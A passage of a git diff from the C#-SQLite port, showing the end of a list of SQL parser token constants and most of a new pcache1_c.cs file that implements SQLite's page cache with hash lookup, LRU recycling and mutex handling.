TK_CONFLICT 38 + //#define TK_DATABASE 39 + //#define TK_DESC 40 + //#define TK_DETACH 41 + //#define TK_EACH 42 + //#define TK_FAIL 43 + //#define TK_FOR 44 + //#define TK_IGNORE 45 + //#define TK_INITIALLY 46 + //#define TK_INSTEAD 47 + //#define TK_LIKE_KW 48 + //#define TK_MATCH 49 + //#define TK_KEY 50 + //#define TK_OF 51 + //#define TK_OFFSET 52 + //#define TK_PRAGMA 53 + //#define TK_RAISE 54 + //#define TK_REPLACE 55 + //#define TK_RESTRICT 56 + //#define TK_ROW 57 + //#define TK_TRIGGER 58 + //#define TK_VACUUM 59 + //#define TK_VIEW 60 + //#define TK_VIRTUAL 61 + //#define TK_REINDEX 62 + //#define TK_RENAME 63 + //#define TK_CTIME_KW 64 + //#define TK_ANY 65 + //#define TK_OR 66 + //#define TK_AND 67 + //#define TK_IS 68 + //#define TK_BETWEEN 69 + //#define TK_IN 70 + //#define TK_ISNULL 71 + //#define TK_NOTNULL 72 + //#define TK_NE 73 + //#define TK_EQ 74 + //#define TK_GT 75 + //#define TK_LE 76 + //#define TK_LT 77 + //#define TK_GE 78 + //#define TK_ESCAPE 79 + //#define TK_BITAND 80 + //#define TK_BITOR 81 + //#define TK_LSHIFT 82 + //#define TK_RSHIFT 83 + //#define TK_PLUS 84 + //#define TK_MINUS 85 + //#define TK_STAR 86 + //#define TK_SLASH 87 + //#define TK_REM 88 + //#define TK_CONCAT 89 + //#define TK_COLLATE 90 + //#define TK_UMINUS 91 + //#define TK_UPLUS 92 + //#define TK_BITNOT 93 + //#define TK_STRING 94 + //#define TK_JOIN_KW 95 + //#define TK_CONSTRAINT 96 + //#define TK_DEFAULT 97 + //#define TK_NULL 98 + //#define TK_PRIMARY 99 + //#define TK_UNIQUE 100 + //#define TK_CHECK 101 + //#define TK_REFERENCES 102 + //#define TK_AUTOINCR 103 + //#define TK_ON 104 + //#define TK_DELETE 105 + //#define TK_UPDATE 106 + //#define TK_INSERT 107 + //#define TK_SET 108 + //#define TK_DEFERRABLE 109 + //#define TK_FOREIGN 110 + //#define TK_DROP 111 + //#define TK_UNION 112 + //#define TK_ALL 113 + //#define TK_EXCEPT 114 + //#define TK_INTERSECT 115 + //#define TK_SELECT 116 + //#define TK_DISTINCT 117 + //#define TK_DOT 118 + //#define TK_FROM 119 + //#define TK_JOIN 120 + //#define TK_USING 121 + //#define TK_ORDER 122 + //#define TK_GROUP 123 + //#define TK_HAVING 124 + //#define TK_LIMIT 125 + //#define TK_WHERE 126 + //#define TK_INTO 127 + //#define TK_VALUES 128 + //#define TK_INTEGER 129 + //#define TK_FLOAT 130 + //#define TK_BLOB 131 + //#define TK_REGISTER 132 + //#define TK_VARIABLE 133 + //#define TK_CASE 134 + //#define TK_WHEN 135 + //#define TK_THEN 136 + //#define TK_ELSE 137 + //#define TK_INDEX 138 + //#define TK_ALTER 139 + //#define TK_ADD 140 + //#define TK_TO_TEXT 141 + //#define TK_TO_BLOB 142 + //#define TK_TO_NUMERIC 143 + //#define TK_TO_INT 144 + //#define TK_TO_REAL 145 + //#define TK_END_OF_FILE 146 + //#define TK_ILLEGAL 147 + //#define TK_SPACE 148 + //#define TK_UNCLOSED_STRING 149 + //#define TK_FUNCTION 150 + //#define TK_COLUMN 151 + //#define TK_AGG_FUNCTION 152 + //#define TK_AGG_COLUMN 153 + //#define TK_CONST_FUNC 154 + const int TK_SEMI = 1; + const int TK_EXPLAIN = 2; + const int TK_QUERY = 3; + const int TK_PLAN = 4; + const int TK_BEGIN = 5; + const int TK_TRANSACTION = 6; + const int TK_DEFERRED = 7; + const int TK_IMMEDIATE = 8; + const int TK_EXCLUSIVE = 9; + const int TK_COMMIT = 10; + const int TK_END = 11; + const int TK_ROLLBACK = 12; + const int TK_SAVEPOINT = 13; + const int TK_RELEASE = 14; + const int TK_TO = 15; + const int TK_TABLE = 16; + const int TK_CREATE = 17; + const int TK_IF = 18; + const int TK_NOT = 19; + const int TK_EXISTS = 20; + const int TK_TEMP = 21; + const int TK_LP = 22; + const int TK_RP = 23; + const int TK_AS = 24; + const int TK_COMMA = 25; + const int TK_ID = 26; + const int TK_INDEXED = 27; + const int TK_ABORT = 28; + const int TK_AFTER = 29; + const int TK_ANALYZE = 30; + const int TK_ASC = 31; + const int TK_ATTACH = 32; + const int TK_BEFORE = 33; + const int TK_BY = 34; + const int TK_CASCADE = 35; + const int TK_CAST = 36; + const int TK_COLUMNKW = 37; + const int TK_CONFLICT = 38; + const int TK_DATABASE = 39; + const int TK_DESC = 40; + const int TK_DETACH = 41; + const int TK_EACH = 42; + const int TK_FAIL = 43; + const int TK_FOR = 44; + const int TK_IGNORE = 45; + const int TK_INITIALLY = 46; + const int TK_INSTEAD = 47; + const int TK_LIKE_KW = 48; + const int TK_MATCH = 49; + const int TK_KEY = 50; + const int TK_OF = 51; + const int TK_OFFSET = 52; + const int TK_PRAGMA = 53; + const int TK_RAISE = 54; + const int TK_REPLACE = 55; + const int TK_RESTRICT = 56; + const int TK_ROW = 57; + const int TK_TRIGGER = 58; + const int TK_VACUUM = 59; + const int TK_VIEW = 60; + const int TK_VIRTUAL = 61; + const int TK_REINDEX = 62; + const int TK_RENAME = 63; + const int TK_CTIME_KW = 64; + const int TK_ANY = 65; + const int TK_OR = 66; + const int TK_AND = 67; + const int TK_IS = 68; + const int TK_BETWEEN = 69; + const int TK_IN = 70; + const int TK_ISNULL = 71; + const int TK_NOTNULL = 72; + const int TK_NE = 73; + const int TK_EQ = 74; + const int TK_GT = 75; + const int TK_LE = 76; + const int TK_LT = 77; + const int TK_GE = 78; + const int TK_ESCAPE = 79; + const int TK_BITAND = 80; + const int TK_BITOR = 81; + const int TK_LSHIFT = 82; + const int TK_RSHIFT = 83; + const int TK_PLUS = 84; + const int TK_MINUS = 85; + const int TK_STAR = 86; + const int TK_SLASH = 87; + const int TK_REM = 88; + const int TK_CONCAT = 89; + const int TK_COLLATE = 90; + const int TK_UMINUS = 91; + const int TK_UPLUS = 92; + const int TK_BITNOT = 93; + const int TK_STRING = 94; + const int TK_JOIN_KW = 95; + const int TK_CONSTRAINT = 96; + const int TK_DEFAULT = 97; + const int TK_NULL = 98; + const int TK_PRIMARY = 99; + const int TK_UNIQUE = 100; + const int TK_CHECK = 101; + const int TK_REFERENCES = 102; + const int TK_AUTOINCR = 103; + const int TK_ON = 104; + const int TK_DELETE = 105; + const int TK_UPDATE = 106; + const int TK_INSERT = 107; + const int TK_SET = 108; + const int TK_DEFERRABLE = 109; + const int TK_FOREIGN = 110; + const int TK_DROP = 111; + const int TK_UNION = 112; + const int TK_ALL = 113; + const int TK_EXCEPT = 114; + const int TK_INTERSECT = 115; + const int TK_SELECT = 116; + const int TK_DISTINCT = 117; + const int TK_DOT = 118; + const int TK_FROM = 119; + const int TK_JOIN = 120; + const int TK_USING = 121; + const int TK_ORDER = 122; + const int TK_GROUP = 123; + const int TK_HAVING = 124; + const int TK_LIMIT = 125; + const int TK_WHERE = 126; + const int TK_INTO = 127; + const int TK_VALUES = 128; + const int TK_INTEGER = 129; + const int TK_FLOAT = 130; + const int TK_BLOB = 131; + const int TK_REGISTER = 132; + const int TK_VARIABLE = 133; + const int TK_CASE = 134; + const int TK_WHEN = 135; + const int TK_THEN = 136; + const int TK_ELSE = 137; + const int TK_INDEX = 138; + const int TK_ALTER = 139; + const int TK_ADD = 140; + const int TK_TO_TEXT = 141; + const int TK_TO_BLOB = 142; + const int TK_TO_NUMERIC = 143; + const int TK_TO_INT = 144; + const int TK_TO_REAL = 145; + const int TK_END_OF_FILE = 146; + const int TK_ILLEGAL = 147; + const int TK_SPACE = 148; + const int TK_UNCLOSED_STRING = 149; + const int TK_FUNCTION = 150; + const int TK_COLUMN = 151; + const int TK_AGG_FUNCTION = 152; + const int TK_AGG_COLUMN = 153; + const int TK_CONST_FUNC = 154; + } +} diff --git a/SQLite/src/pcache1_c.cs b/SQLite/src/pcache1_c.cs new file mode 100644 index 0000000..fee0eec --- /dev/null +++ b/SQLite/src/pcache1_c.cs @@ -0,0 +1,940 @@ +using System.Diagnostics; +using System.Text; + +using u8 = System.Byte; +using u32 = System.UInt32; + +using Pgno = System.UInt32; + +namespace CS_SQLite3 +{ + using sqlite3_value = CSSQLite.Mem; + using sqlite3_pcache = CSSQLite.PCache1; + public partial class CSSQLite + { + /* + ** 2008 November 05 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** + ** This file implements the default page cache implementation (the + ** sqlite3_pcache interface). It also contains part of the implementation + ** of the SQLITE_CONFIG_PAGECACHE and sqlite3_release_memory() features. + ** If the default page cache implementation is overriden, then neither of + ** these two features are available. + ** + ** @(#) $Id: pcache1.c,v 1.19 2009/07/17 11:44:07 drh Exp $ + ** + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** $Header$ + ************************************************************************* + */ + + //#include "sqliteInt.h" + + //typedef struct PCache1 PCache1; + //typedef struct PgHdr1 PgHdr1; + //typedef struct PgFreeslot PgFreeslot; + + /* Pointers to structures of this type are cast and returned as + ** opaque sqlite3_pcache* handles + */ + + public class PCache1 + { + /* Cache configuration parameters. Page size (szPage) and the purgeable + ** flag (bPurgeable) are set when the cache is created. nMax may be + ** modified at any time by a call to the pcache1CacheSize() method. + ** The global mutex must be held when accessing nMax. + */ + public int szPage; /* Size of every page in this cache */ + public bool bPurgeable; /* True if pages are on backing store */ + public u32 nMin; /* Minimum number of pages reserved */ + public u32 nMax; /* Configured "cache_size" value */ + + /* Hash table of all pages. The following variables may only be accessed + ** when the accessor is holding the global mutex (see pcache1EnterMutex() + ** and pcache1LeaveMutex()). + */ + public u32 nRecyclable; /* Number of pages in the LRU list */ + public u32 nPage; /* Total number of pages in apHash */ + public u32 nHash; /* Number of slots in apHash[] */ + public PgHdr1[] apHash; /* Hash table for fast lookup by pgno */ + public u32 iMaxKey; /* Largest key seen since xTruncate() */ + + + public void Clear() + { + nRecyclable = 0; + nPage = 0; + nHash = 0; + apHash = null; + iMaxKey = 0; + } + }; + + /* + ** Each cache entry is represented by an instance of the following + ** structure. A buffer of PgHdr1.pCache.szPage bytes is allocated + ** directly before this structure in memory (see the PGHDR1_TO_PAGE() + ** macro below). + */ + public class PgHdr1 + { + public u32 iKey; /* Key value (page number) */ + public PgHdr1 pNext; /* Next in hash table chain */ + public PCache1 pCache; /* Cache that currently owns this page */ + public PgHdr1 pLruNext; /* Next in LRU list of unpinned pages */ + public PgHdr1 pLruPrev; /* Previous in LRU list of unpinned pages */ + public PgHdr pPgHdr = new PgHdr(); /* Pointer to Actual Page Header */ + + public void Clear() + { + this.iKey = 0; + this.pNext = null; + this.pCache = null; + this.pPgHdr.Clear(); + } + }; + + /* + ** Free slots in the allocator used to divide up the buffer provided using + ** the SQLITE_CONFIG_PAGECACHE mechanism. + */ + //typedef struct PgFreeslot PgFreeslot; + public class PgFreeslot + { + public PgFreeslot pNext; /* Next free slot */ + public PgHdr _PgHdr; /* Next Free Header */ + }; + + /* + ** Global data for the page cache. + */ + public class PCacheGlobal + { + public sqlite3_mutex mutex; /* static mutex MUTEX_STATIC_LRU */ + + public int nMaxPage; /* Sum of nMaxPage for purgeable caches */ + public int nMinPage; /* Sum of nMinPage for purgeable caches */ + public int nCurrentPage; /* Number of purgeable pages allocated */ + public PgHdr1 pLruHead, pLruTail; /* LRU list of unused clean pgs */ + + /* Variables related to SQLITE_CONFIG_PAGECACHE settings. */ + public int szSlot; /* Size of each free slot */ + public object pStart, pEnd; /* Bounds of pagecache malloc range */ + public PgFreeslot pFree; /* Free page blocks */ + public int isInit; /* True if initialized */ + } + static PCacheGlobal pcache = new PCacheGlobal(); + + /* + ** All code in this file should access the global structure above via the + ** alias "pcache1". This ensures that the WSD emulation is used when + ** compiling for systems that do not support real WSD. + */ + + //#define pcache1 (GLOBAL(struct PCacheGlobal, pcache1_g)) + static PCacheGlobal pcache1 = pcache; + + /* + ** When a PgHdr1 structure is allocated, the associated PCache1.szPage + ** bytes of data are located directly before it in memory (i.e. the total + ** size of the allocation is sizeof(PgHdr1)+PCache1.szPage byte). The + ** PGHDR1_TO_PAGE() macro takes a pointer to a PgHdr1 structure as + ** an argument and returns a pointer to the associated block of szPage + ** bytes. The PAGE_TO_PGHDR1() macro does the opposite: its argument is + ** a pointer to a block of szPage bytes of data and the return value is + ** a pointer to the associated PgHdr1 structure. + ** + ** assert( PGHDR1_TO_PAGE(PAGE_TO_PGHDR1(pCache, X))==X ); + */ + //#define PGHDR1_TO_PAGE(p) (void*)(((char*)p) - p->pCache->szPage) + static PgHdr PGHDR1_TO_PAGE( PgHdr1 p ) { return p.pPgHdr; } + + //#define PAGE_TO_PGHDR1(c, p) (PgHdr1*)(((char*)p) + c->szPage) + static PgHdr1 PAGE_TO_PGHDR1( PCache1 c, PgHdr p ) { return p.pPgHdr1; } + /* + ** Macros to enter and leave the global LRU mutex. + */ + //#define pcache1EnterMutex() sqlite3_mutex_enter(pcache1.mutex) + //#define pcache1LeaveMutex() sqlite3_mutex_leave(pcache1.mutex) + static void pcache1EnterMutex() { sqlite3_mutex_enter( pcache1.mutex ); } + static void pcache1LeaveMutex() { sqlite3_mutex_leave( pcache1.mutex ); } + + /******************************************************************************/ + /******** Page Allocation/SQLITE_CONFIG_PCACHE Related Functions **************/ + + /* + ** This function is called during initialization if a static buffer is + ** supplied to use for the page-cache by passing the SQLITE_CONFIG_PAGECACHE + ** verb to sqlite3_config(). Parameter pBuf points to an allocation large + ** enough to contain 'n' buffers of 'sz' bytes each. + */ + static void sqlite3PCacheBufferSetup( object pBuf, int sz, int n ) + { + if ( pcache1.isInit != 0 ) + { + PgFreeslot p; + sz = ROUNDDOWN8( sz ); + pcache1.szSlot = sz; + pcache1.pStart = pBuf; + pcache1.pFree = null; + while ( n-- != 0 ) + { + p = new PgFreeslot();// (PgFreeslot)pBuf; + p._PgHdr = new PgHdr(); + p.pNext = pcache1.pFree; + pcache1.pFree = p; + //pBuf = (void*)&((char*)pBuf)[sz]; + } + pcache1.pEnd = pBuf; + } + } + + /* + ** Malloc function used within this file to allocate space from the buffer + ** configured using sqlite3_config(SQLITE_CONFIG_PAGECACHE) option. If no + ** such buffer exists or there is no space left in it, this function falls + ** back to sqlite3Malloc(). + */ + static PgHdr pcache1Alloc( int nByte ) + { + PgHdr p; + Debug.Assert( sqlite3_mutex_held( pcache1.mutex ) ); + if ( nByte <= pcache1.szSlot && pcache1.pFree != null ) + { + Debug.Assert( pcache1.isInit != 0 ); + p = pcache1.pFree._PgHdr; + p.CacheAllocated = true; + pcache1.pFree = pcache1.pFree.pNext; + sqlite3StatusSet( SQLITE_STATUS_PAGECACHE_SIZE, nByte ); + sqlite3StatusAdd( SQLITE_STATUS_PAGECACHE_USED, 1 ); + } + else + { + + /* Allocate a new buffer using sqlite3Malloc. Before doing so, exit the + ** global pcache mutex and unlock the pager-cache object pCache. This is + ** so that if the attempt to allocate a new buffer causes the the + ** configured soft-heap-limit to be breached, it will be possible to + ** reclaim memory from this pager-cache. + */ + pcache1LeaveMutex(); + p = new PgHdr();// p = sqlite3Malloc(nByte); + p.CacheAllocated = false; + pcache1EnterMutex(); + // if( p !=null){ + int sz = nByte;//int sz = sqlite3MallocSize(p); + sqlite3StatusAdd( SQLITE_STATUS_PAGECACHE_OVERFLOW, sz ); + } + return p; + } + + /* + ** Free an allocated buffer obtained from pcache1Alloc(). + */ + static void pcache1Free( ref PgHdr p ) + { + Debug.Assert( sqlite3_mutex_held( pcache1.mutex ) ); + if ( p == null ) return; + if (p.CacheAllocated) //if ( p >= pcache1.pStart && p < pcache1.pEnd ) + { + PgFreeslot pSlot = new PgFreeslot(); + sqlite3StatusAdd( SQLITE_STATUS_PAGECACHE_USED, -1 ); + pSlot._PgHdr = p;// (PgFreeslot)p; + pSlot.pNext = pcache1.pFree; + pcache1.pFree = pSlot; + } + else + { + int iSize = p.pData.Length;//sqlite3MallocSize( p ); + sqlite3StatusAdd( SQLITE_STATUS_PAGECACHE_OVERFLOW, -iSize ); + p = null;//sqlite3_free( ref p ); + } + } + + /* + ** Allocate a new page object initially associated with cache pCache. + */ + static PgHdr1 pcache1AllocPage( PCache1 pCache ) + { + //int nByte = sizeof(PgHdr1) + pCache.szPage; + PgHdr pPg = pcache1Alloc( pCache.szPage ); + PgHdr1 p; + //if ( pPg != null ) + { + // PAGE_TO_PGHDR1( pCache, pPg ); + p = new PgHdr1(); + p.pCache = pCache; + p.pPgHdr = pPg; + if ( pCache.bPurgeable ) + { + pcache1.nCurrentPage++; + } + } + //else + //{ + // p = null; + //} + return p; + } + + /* + ** Free a page object allocated by pcache1AllocPage(). + ** + ** The pointer is allowed to be NULL, which is prudent. But it turns out + ** that the current implementation happens to never call this routine + ** with a NULL pointer, so we mark the NULL test with ALWAYS(). + */ + static void pcache1FreePage( ref PgHdr1 p ) + { + if ( ALWAYS( p != null ) ) + { + if ( p.pCache.bPurgeable ) + { + pcache1.nCurrentPage--; + } + pcache1Free( ref p.pPgHdr );//PGHDR1_TO_PAGE( p ); + } + } + + /* + ** Malloc function used by SQLite to obtain space from the buffer configured + ** using sqlite3_config(SQLITE_CONFIG_PAGECACHE) option. If no such buffer + ** exists, this function falls back to sqlite3Malloc(). + */ + static PgHdr sqlite3PageMalloc( int sz ) + { + PgHdr p; + pcache1EnterMutex(); + p = pcache1Alloc( sz ); + pcache1LeaveMutex(); + return p; + } + + /* + ** Free an allocated buffer obtained from sqlite3PageMalloc(). + */ + static void sqlite3PageFree( ref PgHdr p) + { + pcache1EnterMutex(); + pcache1Free( ref p ); + pcache1LeaveMutex(); + } + + /******************************************************************************/ + /******** General Implementation Functions ************************************/ + + /* + ** This function is used to resize the hash table used by the cache passed + ** as the first argument. + ** + ** The global mutex must be held when this function is called. + */ + static int pcache1ResizeHash( PCache1 p ) + { + PgHdr1[] apNew; + u32 nNew; + u32 i; + + Debug.Assert( sqlite3_mutex_held( pcache1.mutex ) ); + + nNew = p.nHash * 2; + if ( nNew < 256 ) + { + nNew = 256; + } + + pcache1LeaveMutex(); + if ( p.nHash != 0 ) { sqlite3BeginBenignMalloc(); } + apNew = new PgHdr1[nNew];// (PgHdr1**)sqlite3_malloc( sizeof( PgHdr1* ) * nNew ); + if ( p.nHash != 0 ) { sqlite3EndBenignMalloc(); } + pcache1EnterMutex(); + if ( apNew != null ) + { + //memset(apNew, 0, sizeof(PgHdr1 *)*nNew); + for ( i = 0 ; i < p.nHash ; i++ ) + { + PgHdr1 pPage; + PgHdr1 pNext = p.apHash[i]; + while ( ( pPage = pNext ) != null ) + { + u32 h = (u32)( pPage.iKey % nNew ); + pNext = pPage.pNext; + pPage.pNext = apNew[h]; + apNew[h] = pPage; + } + } + //sqlite3_free( ref p.apHash ); + p.apHash = apNew; + p.nHash = nNew; + } + + return ( p.apHash != null ? SQLITE_OK : SQLITE_NOMEM ); + } + + /* + ** This function is used internally to remove the page pPage from the + ** global LRU list, if is part of it. If pPage is not part of the global + ** LRU list, then this function is a no-op. + ** + ** The global mutex must be held when this function is called. + */ + static void pcache1PinPage( PgHdr1 pPage ) + { + Debug.Assert( sqlite3_mutex_held( pcache1.mutex ) ); + if ( pPage != null && ( pPage.pLruNext != null || pPage == pcache1.pLruTail ) ) + { + if ( pPage.pLruPrev != null ) + { + pPage.pLruPrev.pLruNext = pPage.pLruNext; + } + if ( pPage.pLruNext != null ) + { + pPage.pLruNext.pLruPrev = pPage.pLruPrev; + } + if ( pcache1.pLruHead == pPage ) + { + pcache1.pLruHead = pPage.pLruNext; + } + if ( pcache1.pLruTail == pPage ) + { + pcache1.pLruTail = pPage.pLruPrev; + } + pPage.pLruNext = null; + pPage.pLruPrev = null; + pPage.pCache.nRecyclable--; + } + } + + + /* + ** Remove the page supplied as an argument from the hash table + ** (PCache1.apHash structure) that it is currently stored in. + ** + ** The global mutex must be held when this function is called. + */ + static void pcache1RemoveFromHash( PgHdr1 pPage ) + { + u32 h; + PCache1 pCache = pPage.pCache; + PgHdr1 pp, pPrev; + + h = pPage.iKey % pCache.nHash; + pPrev = null; + for ( pp = pCache.apHash[h] ; pp != pPage ; pPrev = pp, pp = pp.pNext ) ; + if ( pPrev == null ) pCache.apHash[h] = pp.pNext; else pPrev.pNext = pp.pNext; // pCache.apHash[h] = pp.pNext; + + pCache.nPage--; + } + + /* + ** If there are currently more than pcache.nMaxPage pages allocated, try + ** to recycle pages to reduce the number allocated to pcache.nMaxPage. + */ + static void pcache1EnforceMaxPage() + { + Debug.Assert( sqlite3_mutex_held( pcache1.mutex ) ); + while ( pcache1.nCurrentPage > pcache1.nMaxPage && pcache1.pLruTail != null ) + { + PgHdr1 p = pcache1.pLruTail; + pcache1PinPage( p ); + pcache1RemoveFromHash( p ); + pcache1FreePage( ref p ); + } + } + + /* + ** Discard all pages from cache pCache with a page number (key value) + ** greater than or equal to iLimit. Any pinned pages that meet this + ** criteria are unpinned before they are discarded. + ** + ** The global mutex must be held when this function is called. + */ + static void pcache1TruncateUnsafe( + PCache1 pCache, + u32 iLimit + ) + { + //TESTONLY( unsigned int nPage = 0; ) /* Used to assert pCache->nPage is correct */ +#if !NDEBUG || SQLITE_COVERAGE_TEST + u32 nPage = 0; +#endif + u32 h; + Debug.Assert( sqlite3_mutex_held( pcache1.mutex ) ); + for ( h = 0 ; h < pCache.nHash ; h++ ) + { + PgHdr1 pp = pCache.apHash[h]; + PgHdr1 pPage; + while ( ( pPage = pp ) != null ) + { + if ( pPage.iKey >= iLimit ) + { + pCache.nPage--; + pp = pPage.pNext; + pcache1PinPage( pPage ); + if ( pCache.apHash[h] == pPage ) + pCache.apHash[h] = pPage.pNext; + else Debugger.Break(); + pcache1FreePage( ref pPage ); + } + else + { + pp = pPage.pNext; + //TESTONLY( nPage++; ) +#if !NDEBUG || SQLITE_COVERAGE_TEST + nPage++; +#endif + } + } + } +#if !NDEBUG || SQLITE_COVERAGE_TEST + Debug.Assert( pCache.nPage == nPage ); +#endif + } + + /******************************************************************************/ + /******** sqlite3_pcache Methods **********************************************/ + + /* + ** Implementation of the sqlite3_pcache.xInit method. + */ + static int pcache1Init( object NotUsed ) + { + UNUSED_PARAMETER( NotUsed ); + Debug.Assert( pcache1.isInit == 0 ); + pcache1 = new PCacheGlobal();// memset( &pcache1, 0, sizeof( pcache1 ) ); + if ( sqlite3GlobalConfig.bCoreMutex ) + { + pcache1.mutex = sqlite3_mutex_alloc( SQLITE_MUTEX_STATIC_LRU ); + } + pcache1.isInit = 1; + return SQLITE_OK; + } + + /* + ** Implementation of the sqlite3_pcache.xShutdown method. + */ + static void pcache1Shutdown( object NotUsed ) + { + UNUSED_PARAMETER( NotUsed ); + Debug.Assert( pcache1.isInit != 0 ); + pcache1 = new PCacheGlobal(); //memset( &pcache1, 0, sizeof( pcache1 ) ); + } + + /* + ** Implementation of the sqlite3_pcache.xCreate method. + ** + ** Allocate a new cache. + */ + static sqlite3_pcache pcache1Create( int szPage, int bPurgeable ) + { + PCache1 pCache; + + pCache = new PCache1();// (PCache1*)sqlite3_malloc( sizeof( PCache1 ) ); + if ( pCache != null ) + { + //memset(pCache, 0, sizeof(PCache1)); + pCache.szPage = szPage; + pCache.bPurgeable = ( bPurgeable != 0 ); + if ( bPurgeable != 0 ) + { + pCache.nMin = 10; + pcache1EnterMutex(); + pcache1.nMinPage += (int)pCache.nMin; + pcache1LeaveMutex(); + } + } + return pCache; + } + + /* + ** Implementation of the sqlite3_pcache.xCachesize method. + ** + ** Configure the cache_size limit for a cache. + */ + static void pcache1Cachesize( sqlite3_pcache p, int nMax ) + { + PCache1 pCache = (PCache1)p; + if ( pCache.bPurgeable ) + { + pcache1EnterMutex(); + pcache1.nMaxPage += (int)( nMax - pCache.nMax ); + pCache.nMax = (u32)nMax; + pcache1EnforceMaxPage(); + pcache1LeaveMutex(); + } + } + + /* + ** Implementation of the sqlite3_pcache.xPagecount method. + */ + static int pcache1Pagecount( sqlite3_pcache p ) + { + int n; + pcache1EnterMutex(); + n = (int)( (PCache1)p ).nPage; + pcache1LeaveMutex(); + return n; + } + + /* + ** Implementation of the sqlite3_pcache.xFetch method. + ** + ** Fetch a page by key value. + ** + ** Whether or not a new page may be allocated by this function depends on + ** the value of the createFlag argument. 0 means do not allocate a new + ** page. 1 means allocate a new page if space is easily available. 2 + ** means to try really hard to allocate a new page. + ** + ** For a non-purgeable cache (a cache used as the storage for an in-memory + ** database) there is really no difference between createFlag 1 and 2. So + ** the calling function (pcache.c) will never have a createFlag of 1 on + ** a non-purgable cache. + ** + ** There are three different approaches to obtaining space for a page, + ** depending on the value of parameter createFlag (which may be 0, 1 or 2). + ** + ** 1. Regardless of the value of createFlag, the cache is searched for a + ** copy of the requested page. If one is found, it is returned. + ** + ** 2. If createFlag==0 and the page is not already in the cache, NULL is + ** returned. + ** + ** 3. If createFlag is 1, and the page is not already in the cache, + ** and if either of the following are true, return NULL: + ** + ** (a) the number of pages pinned by the cache is greater than + ** PCache1.nMax, or + ** (b) the number of pages pinned by the cache is greater than + ** the sum of nMax for all purgeable caches, less the sum of + ** nMin for all other purgeable caches. + ** + ** 4. If none of the first three conditions apply and the cache is marked + ** as purgeable, and if one of the following is true: + ** + ** (a) The number of pages allocated for the cache is already + ** PCache1.nMax, or + ** + ** (b) The number of pages allocated for all purgeable caches is + ** already equal to or greater than the sum of nMax for all + ** purgeable caches, + ** + ** then attempt to recycle a page from the LRU list. If it is the right + ** size, return the recycled buffer. Otherwise, free the buffer and + ** proceed to step 5. + ** + ** 5. Otherwise, allocate and return a new page buffer. + */ + static PgHdr pcache1Fetch( sqlite3_pcache p, u32 iKey, int createFlag ) + { + u32 nPinned; + PCache1 pCache = p; + PgHdr1 pPage = null; + + Debug.Assert( pCache.bPurgeable || createFlag != 1 ); + pcache1EnterMutex(); + if ( createFlag == 1 ) sqlite3BeginBenignMalloc(); + + /* Search the hash table for an existing entry. */ + if ( pCache.nHash > 0 ) + { + u32 h = iKey % pCache.nHash; + for ( pPage = pCache.apHash[h] ; pPage != null && pPage.iKey != iKey ; pPage = pPage.pNext ) ; + } + + if ( pPage != null || createFlag == 0 ) + { + pcache1PinPage( pPage ); + goto fetch_out; + } + + /* Step 3 of header comment. */ + nPinned = pCache.nPage - pCache.nRecyclable; + if ( createFlag == 1 && ( + nPinned >= ( pcache1.nMaxPage + pCache.nMin - pcache1.nMinPage ) + || nPinned >= ( pCache.nMax * 9 / 10 ) + ) ) + { + goto fetch_out; + } + + if ( pCache.nPage >= pCache.nHash && pcache1ResizeHash( pCache ) != 0 ) + { + goto fetch_out; + } + + /* Step 4. Try to recycle a page buffer if appropriate. */ + if ( pCache.bPurgeable && pcache1.pLruTail != null && ( + pCache.nPage + 1 >= pCache.nMax || pcache1.nCurrentPage >= pcache1.nMaxPage + ) ) + { + pPage = pcache1.pLruTail; + pcache1RemoveFromHash( pPage ); + pcache1PinPage( pPage ); + if ( pPage.pCache.szPage != pCache.szPage ) + { + pcache1FreePage( ref pPage ); + pPage = null; + } + else + { + pcache1.nCurrentPage -= ( ( pPage.pCache.bPurgeable ? 1 : 0 ) - ( pCache.bPurgeable ? 1 : 0 ) ); + } + } + + /* Step 5. If a usable page buffer has still not been found, + ** attempt to allocate a new one. + */ + if ( null == pPage ) + { + pPage = pcache1AllocPage( pCache ); + } + + if ( pPage != null ) + { + u32 h = iKey % pCache.nHash; + pCache.nPage++; + pPage.iKey = iKey; + pPage.pNext = pCache.apHash[h]; + pPage.pCache = pCache; + pPage.pLruPrev = null; + pPage.pLruNext = null; + PGHDR1_TO_PAGE( pPage ).Clear();// *(void **)(PGHDR1_TO_PAGE(pPage)) = 0; + pPage.pPgHdr.pPgHdr1 = pPage; + pCache.apHash[h] = pPage; + } + +fetch_out: + if ( pPage != null && iKey > pCache.iMaxKey ) + { + pCache.iMaxKey = iKey; + } + if ( createFlag == 1 ) sqlite3EndBenignMalloc(); + pcache1LeaveMutex(); + return ( pPage != null ? PGHDR1_TO_PAGE( pPage ) : null ); + } + + + /* + ** Implementation of the sqlite3_pcache.xUnpin method. + ** + ** Mark a page as unpinned (eligible for asynchronous recycling). + */ + static void pcache1Unpin( sqlite3_pcache p, PgHdr pPg, int reuseUnlikely ) + { + PCache1 pCache = (PCache1)p; + PgHdr1 pPage = PAGE_TO_PGHDR1( pCache, pPg ); + + Debug.Assert( pPage.pCache == pCache ); + pcache1EnterMutex(); + + /* It is an error to call this function if the page is already + ** part of the global LRU list. + */ + Debug.Assert( pPage.pLruPrev == null && pPage.pLruNext == null ); + Debug.Assert( pcache1.pLruHead != pPage && pcache1.pLruTail != pPage ); + + if ( reuseUnlikely != 0 || pcache1.nCurrentPage > pcache1.nMaxPage ) + { + pcache1RemoveFromHash( pPage ); + pcache1FreePage( ref pPage ); + } + else + { + /* Add the page to the global LRU list. Normally, the page is added to + ** the head of the list (last page to be recycled). However, if the + ** reuseUnlikely flag passed to this function is true, the page is added + ** to the tail of the list (first page to be recycled). + */ + if ( pcache1.pLruHead != null ) + { + pcache1.pLruHead.pLruPrev = pPage; + pPage.pLruNext = pcache1.pLruHead; + pcache1.pLruHead = pPage; + } + else + { + pcache1.pLruTail = pPage; + pcache1.pLruHead = pPage; + } + pCache.nRecyclable++; + } + + pcache1LeaveMutex(); + } + + /* + ** Implementation of the sqlite3_pcache.xRekey method. + */ + static void pcache1Rekey( + sqlite3_pcache p, + PgHdr pPg, + u32 iOld, + u32 iNew + ) + { + PCache1 pCache = p; + PgHdr1 pPage = PAGE_TO_PGHDR1( pCache, pPg 